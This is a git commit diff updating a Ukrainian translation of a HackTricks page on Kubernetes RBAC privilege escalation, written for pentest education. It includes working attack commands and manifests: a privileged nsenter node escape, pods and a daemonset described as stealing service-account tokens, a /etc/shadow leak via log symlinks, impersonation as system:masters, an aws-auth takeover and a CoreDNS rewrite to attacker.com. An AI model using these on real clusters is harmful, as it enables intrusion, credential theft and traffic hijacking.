mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub
This commit is contained in:
+164
-143
@@ -1,23 +1,23 @@
|
||||
# Зловживання Ролями/КластерРолями в Kubernetes
|
||||
# Зловживання Roles/ClusterRoles в Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Тут ви можете знайти деякі потенційно небезпечні конфігурації Ролей та КластерРолей.\
|
||||
Пам'ятайте, що ви можете отримати всі підтримувані ресурси за допомогою `kubectl api-resources`
|
||||
Тут ви можете знайти деякі потенційно небезпечні конфігурації Roles і ClusterRoles.\
|
||||
Пам'ятайте, що ви можете отримати весь перелік підтримуваних ресурсів за допомогою `kubectl api-resources`
|
||||
|
||||
## **Ескалація Привілеїв**
|
||||
## **Privilege Escalation**
|
||||
|
||||
Це мистецтво отримання **доступу до іншого принципала** в кластері **з іншими привілеями** (в межах кластеру kubernetes або до зовнішніх хмар), в Kubernetes є в основному **4 основні техніки для ескалації привілеїв**:
|
||||
Під цим розуміється мистецтво отримати доступ до іншого principal у межах кластера з іншими привілеями (в межах Kubernetes кластера або до зовнішніх хмар), ніж ті, що у вас вже є. В Kubernetes фактично є **4 main techniques to escalate privileges**:
|
||||
|
||||
- Мати можливість **вдаватись** в інших користувачів/груп/SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
|
||||
- Мати можливість **створювати/редагувати/виконувати поди**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
|
||||
- Мати можливість **читати секрети**, оскільки токени SA зберігаються як секрети
|
||||
- Мати можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо є)
|
||||
- П'ята техніка, яка заслуговує на згадку, це можливість **запускати port-forward** в поді, оскільки ви можете отримати доступ до цікавих ресурсів у цьому поді.
|
||||
- Мати можливість **impersonate** інших user/groups/SAs з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
|
||||
- Мати можливість **create/patch/exec pods**, де ви можете **find or attach SAs** з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
|
||||
- Мати можливість **read secrets**, оскільки токени SAs зберігаються як secrets
|
||||
- Мати можливість **escape to the node** з контейнера, де ви можете вкрасти всі secrets контейнерів, що працюють на вузлі, облікові дані вузла та права вузла у хмарі, де він запущений (якщо є)
|
||||
- П'ята техніка, яку варто згадати — це здатність **run port-forward** в pod, оскільки ви можете отримати доступ до цікавих ресурсів всередині цього pod.
|
||||
|
||||
### Доступ до Будь-якого Ресурсу або Дії (Wildcard)
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
**Джокер (\*) надає дозвіл на будь-який ресурс з будь-якою дією**. Його використовують адміністратори. Усередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері.
|
||||
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### Доступ до будь-якого ресурсу з певним дієсловом
|
||||
### Доступ до будь-якого ресурсу з конкретною дією
|
||||
|
||||
У RBAC певні дозволи становлять значні ризики:
|
||||
У RBAC деякі дозволи становлять значну загрозу:
|
||||
|
||||
1. **`create`:** Надає можливість створювати будь-який ресурс кластера, що ризикує ескалацією привілеїв.
|
||||
2. **`list`:** Дозволяє перераховувати всі ресурси, потенційно витікаючи чутливі дані.
|
||||
3. **`get`:** Дозволяє доступ до секретів з облікових записів служб, що становить загрозу безпеці.
|
||||
1. **`create`:** Надає можливість створювати будь-який ресурс кластера, що ризикує призвести до privilege escalation.
|
||||
2. **`list`:** Дозволяє перелічувати всі ресурси, потенційно leaking sensitive data.
|
||||
3. **`get`:** Дозволяє отримувати secrets з service accounts, що становить загрозу безпеці.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього.
|
||||
Зловмисник, який має права створювати pod, може приєднати привілейований Service Account до pod і викрасти token, щоб видаватися за цей Service Account, фактично підвищивши свої привілеї.
|
||||
|
||||
Приклад пода, який вкраде токен облікового запису служби `bootstrap-signer` і надішле його атакуючому:
|
||||
Приклад pod, який викраде token service account `bootstrap-signer` та надішле його зловмиснику:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -74,12 +74,12 @@ hostNetwork: true
|
||||
```
|
||||
### Pod Create & Escape
|
||||
|
||||
Наступне вказує на всі привілеї, які може мати контейнер:
|
||||
Нижче вказано всі привілеї, які може мати контейнер:
|
||||
|
||||
- **Привілейований доступ** (вимкнення захистів і налаштування можливостей)
|
||||
- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти підвищити привілеї
|
||||
- **Вимкнення простору імен hostNetwork**, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж
|
||||
- **Монтування хостів / всередині контейнера**
|
||||
- **Privileged access** (відключення захисту та встановлення capabilities)
|
||||
- **Disable namespaces hostIPC and hostPid** — що може допомогти ескалації привілеїв
|
||||
- **Disable hostNetwork** namespace, що дає доступ до викрадення привілеїв хмарних вузлів і кращого доступу до мереж
|
||||
- **Mount hosts /** всередині контейнера
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -115,45 +115,45 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Створіть под з:
|
||||
Створіть pod за допомогою:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Однорядковий код з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
|
||||
Однолайнер із [this tweet](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Тепер, коли ви можете втекти до вузла, перевірте техніки пост-експлуатації в:
|
||||
Now that you can escape to the node check post-exploitation techniques in:
|
||||
|
||||
#### Схованість
|
||||
#### Stealth
|
||||
|
||||
Ви, напевно, хочете бути **схованішими**, на наступних сторінках ви можете побачити, до чого ви зможете отримати доступ, якщо створите под, активувавши лише деякі з вказаних привілеїв у попередньому шаблоні:
|
||||
Можливо, ви захочете бути **більш непомітним**. На наступних сторінках показано, до чого ви зможете отримати доступ, якщо створите pod, увімкнувши лише деякі з привілеїв, згаданих у попередньому шаблоні:
|
||||
|
||||
- **Привілейований + hostPID**
|
||||
- **Тільки привілейований**
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
- **hostPath**
|
||||
- **hostPID**
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів у_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_Приклади створення/зловживання наведеними конфігураціями privileged pods можна знайти в_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Створення пода - Перехід до хмари
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
Якщо ви можете **створити** **под** (і, за бажанням, **обліковий запис служби**), ви можете **отримати привілеї в хмарному середовищі**, **призначивши хмарні ролі поду або обліковому запису служби** і потім отримавши до нього доступ.\
|
||||
Більше того, якщо ви можете створити **под з простором імен мережі хоста**, ви можете **вкрасти IAM** роль **вузла** екземпляра.
|
||||
Якщо ви можете **create** **pod** (і опційно **service account**), ви можете **отримати привілеї в cloud environment**, призначивши **cloud roles pod або service account** і потім отримавши до них доступ.
|
||||
Більше того, якщо ви можете створити **pod з host network namespace**, ви можете **вкрасти роль IAM** екземпляра **node**.
|
||||
|
||||
Для отримання додаткової інформації перевірте:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **Створення/Патч Деплойментів, Деймонсетів, Станових наборів, Контролерів реплікації, Реплікаційних наборів, Завдань та Кронзавдань**
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
Можливо зловживати цими дозволами, щоб **створити новий под** і отримати привілеї, як у попередньому прикладі.
|
||||
Можна зловживати цими дозволами, щоб **create a new pod** і **escalate privileges** як у попередньому прикладі.
|
||||
|
||||
Наступний yaml **створює деймонсет і ексфільтрує токен SA** всередині пода:
|
||||
Нижче наведено yaml, який **creates a daemonset and exfiltrates the token of the SA** всередині pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,32 +191,31 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** - це ресурс у kubernetes, який використовується для **виконання команд у оболонці всередині пода**. Це дозволяє **виконувати команди всередині контейнерів або отримати оболонку всередині**.
|
||||
**`pods/exec`** — це ресурс у kubernetes, що використовується для **запуску команд у shell всередині pod**. Це дозволяє **виконувати команди всередині containers або отримати shell всередині**.
|
||||
|
||||
Отже, можливо **потрапити всередину пода і вкрасти токен SA**, або увійти в привілейований под, втекти на вузол і вкрасти всі токени подів на вузлі та (зловживати) вузлом:
|
||||
Тому можливо **отримати доступ до pod і вкрасти токен SA**, або зайти в привілейований pod, escape на node, і вкрасти всі токени pods на node та (ab)use the node:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> За замовчуванням команда виконується в першому контейнері пода. Отримайте **всі контейнери в поді** за допомогою `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`, а потім **вкажіть контейнер**, в якому ви хочете його виконати, за допомогою `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
Якщо це контейнер без дистрибутиву, ви можете спробувати використовувати **вбудовані команди оболонки** для отримання інформації про контейнери або завантажити свої власні інструменти, такі як **busybox**, використовуючи: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
> За замовчуванням команда виконується в першому контейнері pod. Отримайте **усі контейнери в pod** за допомогою `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` і потім **вкажіть контейнер**, в якому хочете виконати команду, за допомогою `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
>
|
||||
> Якщо це distroless контейнер, можна спробувати використовувати **shell builtins** для отримання інформації про контейнери або завантажити власні інструменти, наприклад **busybox**, використовуючи: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
### port-forward
|
||||
|
||||
Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих додатків (веб?) всередині пода:
|
||||
Цей дозвіл дозволяє **перенаправити один локальний порт на один порт у вказаному pod**. Це призначено для спрощення налагодження застосунків, що працюють у pod, але зловмисник може зловживати ним, щоб отримати доступ до цікавих (наприклад DBs) або вразливих застосунків (веб-застосунків?) всередині pod:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
### Записуваний на хості /var/log/ — Escape
|
||||
|
||||
Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити под з **підключеним каталогом `/var/log/`** на ньому, ви можете **втекти з контейнера**.\
|
||||
Це в основному тому, що коли **Kube-API намагається отримати логи** контейнера (використовуючи `kubectl logs <pod>`), він **запитує файл `0.log`** пода, використовуючи кінцеву точку `/logs/` служби **Kubelet**.\
|
||||
Служба Kubelet відкриває кінцеву точку `/logs/`, яка в основному **відкриває файлову систему `/var/log` контейнера**.
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити pod з **hosts `/var/log/` directory mounted** на ньому, ви можете **escape from the container**.\
|
||||
Це відбувається тому, що коли **Kube-API tries to get the logs** контейнера (використовуючи `kubectl logs <pod>`), воно **requests the `0.log`** файл пода через `/logs/` endpoint сервісу **Kubelet**.\
|
||||
Сервіс Kubelet відкриває endpoint `/logs/`, який фактично **відкриває файлову систему `/var/log` контейнера**.
|
||||
|
||||
Отже, зловмисник з **доступом на запис у папку /var/log/** контейнера може зловживати цією поведінкою двома способами:
|
||||
Тому, атакувальник з **access to write in the /var/log/ folder** контейнера може зловживати цією поведінкою двома способами:
|
||||
|
||||
- Модифікуючи файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`), щоб він був **символічним посиланням на `/etc/shadow`**, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши:
|
||||
- Змінивши файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`) так, щоб він був **symlink pointing to `/etc/shadow`**, наприклад. Тоді ви зможете exfiltrate hosts shadow file, виконавши:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +223,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** в `/host-mounted/var/log/sym` на `/` і, коли **доступаючи до `https://<gateway>:10250/logs/sym/`, він отримає список кореневої** файлової системи хосту (зміна symlink може надати доступ до файлів).
|
||||
- Якщо атакувальник контролює будь-який principal з **дозволами на читання `nodes/log`**, він може просто створити **symlink** у `/host-mounted/var/log/sym`, що вказує на `/`, і при **доступі до `https://<gateway>:10250/logs/sym/` він побачить список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -236,23 +235,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**Лабораторія та автоматизований експлойт можна знайти за** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**Лабораторія та автоматизований експлойт доступні за** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Обхід захисту readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Якщо вам пощастить, і високо привілейована можливість `CAP_SYS_ADMIN` доступна, ви можете просто змонтувати папку знову як rw:
|
||||
Якщо вам пощастить і доступна високо-привілейована capability capability `CAP_SYS_ADMIN`, ви можете просто перемонтувати папку як rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Обхід захисту hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Як зазначено в [**цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), можливо обійти захист:
|
||||
Як зазначено в [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), можливо обійти захист:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Який мав на меті запобігти втечам, подібним до попередніх, шляхом використання не hostPath mount, а PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис:
|
||||
Це мало запобігти втечам, подібним до попередніх: замість використання hostPath mount — використати PersistentVolume і PersistentVolumeClaim, щоб змонтувати папку hosts у контейнері з можливістю запису:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -300,9 +299,9 @@ name: task-pv-storage-vol
|
||||
```
|
||||
### **Імітація привілейованих облікових записів**
|
||||
|
||||
З привілеєм [**імітації користувача**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) зловмисник може імітувати привілейований обліковий запис.
|
||||
Маючи привілей [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), зловмисник може видати себе за привілейований обліковий запис.
|
||||
|
||||
Просто використовуйте параметр `--as=<username>` в команді `kubectl`, щоб імітувати користувача, або `--as-group=<group>`, щоб імітувати групу:
|
||||
Просто використайте параметр `--as=<username>` в команді `kubectl`, щоб імітувати користувача, або `--as-group=<group>` щоб імітувати групу:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -315,15 +314,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Listing Secrets
|
||||
### Перелік Secrets
|
||||
|
||||
Дозвіл на **перегляд секретів може дозволити зловмиснику фактично прочитати секрети**, отримуючи доступ до REST API кінцевої точки:
|
||||
Дозвіл на **list secrets може дозволити зловмиснику фактично прочитати secrets**, отримавши доступ до REST API endpoint:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Створення та читання секретів
|
||||
### Створення та читання Secrets
|
||||
|
||||
Існує особливий вид секрету Kubernetes типу **kubernetes.io/service-account-token**, який зберігає токени облікових записів сервісів. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису сервісу, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису сервісу жертви з нього:
|
||||
Існує спеціальний тип Kubernetes secret типу **kubernetes.io/service-account-token**, який зберігає serviceaccount tokens.
|
||||
Якщо у вас є права створювати і читати secrets, і ви також знаєте ім'я serviceaccount, ви можете створити secret наступним чином і потім вкрасти token відповідного serviceaccount з нього:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -382,17 +382,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Зверніть увагу, що якщо вам дозволено створювати та читати секрети в певному просторі імен, обліковий запис служби жертви також повинен бути в тому ж просторі імен.
|
||||
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
|
||||
|
||||
### Читання секрету – брутфорсинг ID токенів
|
||||
|
||||
Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких пов'язаний з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
### Читання secret – brute-forcing token IDs
|
||||
|
||||
Токен генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник може здійснити брутфорс-атаку, щоб вивести токен за кілька годин, що потенційно призведе до ескалації привілеїв шляхом доступу до чутливих облікових записів служб.
|
||||
Хоча зловмиснику, який має token з правами читання, потрібна точна назва secret для його використання (на відміну від ширшої привілеї _**listing secrets**_), все одно існують вразливості. Default service accounts у системі можна перерахувати, кожен пов'язаний із secret. Ці secrets мають структуру імені: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий token (без певних символів) згідно з [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
### EncrpytionConfiguration у відкритому тексті
|
||||
Token генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник теоретично може виконати brute-force атаку, щоб визначити token за кілька годин, що потенційно може призвести до privilege escalation шляхом доступу до конфіденційних service accounts.
|
||||
|
||||
Можливо знайти ключі у відкритому тексті для шифрування даних у спокої в цьому типі об'єкта, таких як:
|
||||
### EncrpytionConfiguration in clear text
|
||||
|
||||
Можна знайти ключі у відкритому вигляді для шифрування data at rest в об'єкті такого типу, наприклад:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -449,13 +450,13 @@ keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Запити на підписання сертифікатів
|
||||
### Certificate Signing Requests
|
||||
|
||||
Якщо у вас є дієслово **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла.**
|
||||
Якщо у вас є вербси **`create`** у ресурсі `certificatesigningrequests` (або принаймні у `certificatesigningrequests/nodeClient`), ви можете **створити** новий CeSR для **нового вузла.**
|
||||
|
||||
Згідно з [документацією, можливо автоматично схвалити ці запити](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно буде мати можливість схвалити запит, що означає оновлення в `certificatesigningrequests/approval` та `approve` в `signers` з resourceName `<signerNameDomain>/<signerNamePath>` або `<signerNameDomain>/*`
|
||||
Згідно з [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно мати можливість approve запит, що означає право update у `certificatesigningrequests/approval` та `approve` у `signers` з resourceName `<signerNameDomain>/<signerNamePath>` або `<signerNameDomain>/*`
|
||||
|
||||
**Приклад ролі** з усіма необхідними дозволами:
|
||||
Приклад **role** з усіма необхідними дозволами є:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -486,19 +487,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Отже, з новим затвердженим CSR вузла ви можете **зловживати** спеціальними правами вузлів, щоб **викрасти секрети** та **підвищити привілеї**.
|
||||
Отже, після схвалення нового node CSR ви можете **abuse** спеціальні дозволи nodes, щоб **steal secrets** і **escalate privileges**.
|
||||
|
||||
У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і це зловживається для генерації облікових даних нового вузла K8s, а потім ці облікові дані зловживаються для підвищення привілеїв шляхом викрадення секретів.\
|
||||
Якщо ви **маєте згадані привілеї, ви могли б зробити те ж саме**. Зверніть увагу, що перший приклад обминає помилку, яка заважає новому вузлу отримувати доступ до секретів всередині контейнерів, оскільки **вузол може отримувати доступ лише до секретів контейнерів, змонтованих на ньому.**
|
||||
У [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **automatic signing**, і це використовується для генерації credentials нового K8s Node, після чого можна **abuse** їх для **escalate privileges** та **steal secrets**.\
|
||||
Якщо ви **маєте згадані привілеї, ви могли б зробити те саме**. Зверніть увагу, що перший приклад обходить помилку, яка перешкоджає новому node отримати доступ до secrets всередині containers, оскільки **node can only access the secrets of containers mounted on it.**
|
||||
|
||||
Спосіб обійти це - просто **створити облікові дані вузла для імені вузла, де змонтовано контейнер з цікавими секретами** (але просто перевірте, як це зробити в першому пості):
|
||||
Спосіб обійти це — просто **create a node credentials for the node name where the container with the interesting secrets is mounted** (але дивіться, як це зроблено у першому пості):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Принципали, які можуть змінювати **`configmaps`** в просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати привілеї адміністратора кластера, перезаписуючи **aws-auth** configmap.\
|
||||
Необхідні дієслова: **`update`** та **`patch`**, або **`create`**, якщо configmap не був створений:
|
||||
Принципали, які можуть змінювати **`configmaps`** у просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати права адміністратора кластера, перезаписавши **aws-auth** configmap.\
|
||||
Необхідні verbs — **`update`** та **`patch`**, або **`create`**, якщо configmap не було створено:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -538,18 +539,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ви можете використовувати **`aws-auth`** для **постійного доступу** до користувачів з **інших облікових записів**.
|
||||
> Ви можете використовувати **`aws-auth`** для **persistence**, що дає доступ користувачам з **інших облікових записів**.
|
||||
>
|
||||
> Однак, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **не працює з іншого облікового запису**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо ви введете ARN кластера замість просто назви.\
|
||||
> Щоб `kubectl` працював, просто переконайтеся, що **налаштували** **kubeconfig жертви** і в аргументах exec aws додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.
|
||||
> Однак `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **не працює з іншого акаунту**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо вказати ARN кластера замість просто імені.\
|
||||
> Щоб `kubectl` працював, просто переконайтеся, що ви **налаштували** **kubeconfig жертви** і в aws exec args додали `--profile other_account_role`, щоб kubectl використовував профіль іншого акаунту для отримання токена та зв'язку з AWS.
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Якщо у вас є дозволи на зміну **`coredns` configmap** в просторі імен `kube-system`, ви можете змінити адреси, до яких будуть розв'язуватись домени, щоб мати можливість виконувати атаки MitM для **викрадення чутливої інформації або впровадження шкідливого контенту**.
|
||||
Якщо у вас є права на зміну **`coredns` configmap** в неймспейсі `kube-system`, ви можете змінити адреси, до яких вирішуються домени, щоб виконувати MitM-атаки для **викрадення конфіденційної інформації або впровадження шкідливого вмісту**.
|
||||
|
||||
Необхідні дієслова - **`update`** та **`patch`** над **`coredns`** configmap (або всіма config maps).
|
||||
Необхідні дієслова — **`update`** та **`patch`** над **`coredns`** configmap (або над усіма config map).
|
||||
|
||||
Звичайний **файл coredns** містить щось на зразок цього:
|
||||
Звичайний **файл coredns** містить приблизно таке:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -579,58 +580,75 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Атакуючий може завантажити його, запустивши `kubectl get configmap coredns -n kube-system -o yaml`, змінити його, додавши щось на кшталт `rewrite name victim.com attacker.com`, так що щоразу, коли доступ до `victim.com`, насправді буде доступ до домену `attacker.com`. А потім застосувати це, запустивши `kubectl apply -f poison_dns.yaml`.
|
||||
Зловмисник може завантажити його, виконавши `kubectl get configmap coredns -n kube-system -o yaml`, змінити, додавши, наприклад, `rewrite name victim.com attacker.com`, тож коли звертаються до `victim.com`, фактично буде доступний `attacker.com`. Потім застосувати зміни командою `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
Інший варіант - просто відредагувати файл, запустивши `kubectl edit configmap coredns -n kube-system` і внести зміни.
|
||||
Інший варіант — просто відредагувати файл через `kubectl edit configmap coredns -n kube-system` і внести зміни.
|
||||
|
||||
### Ескалація в GKE
|
||||
|
||||
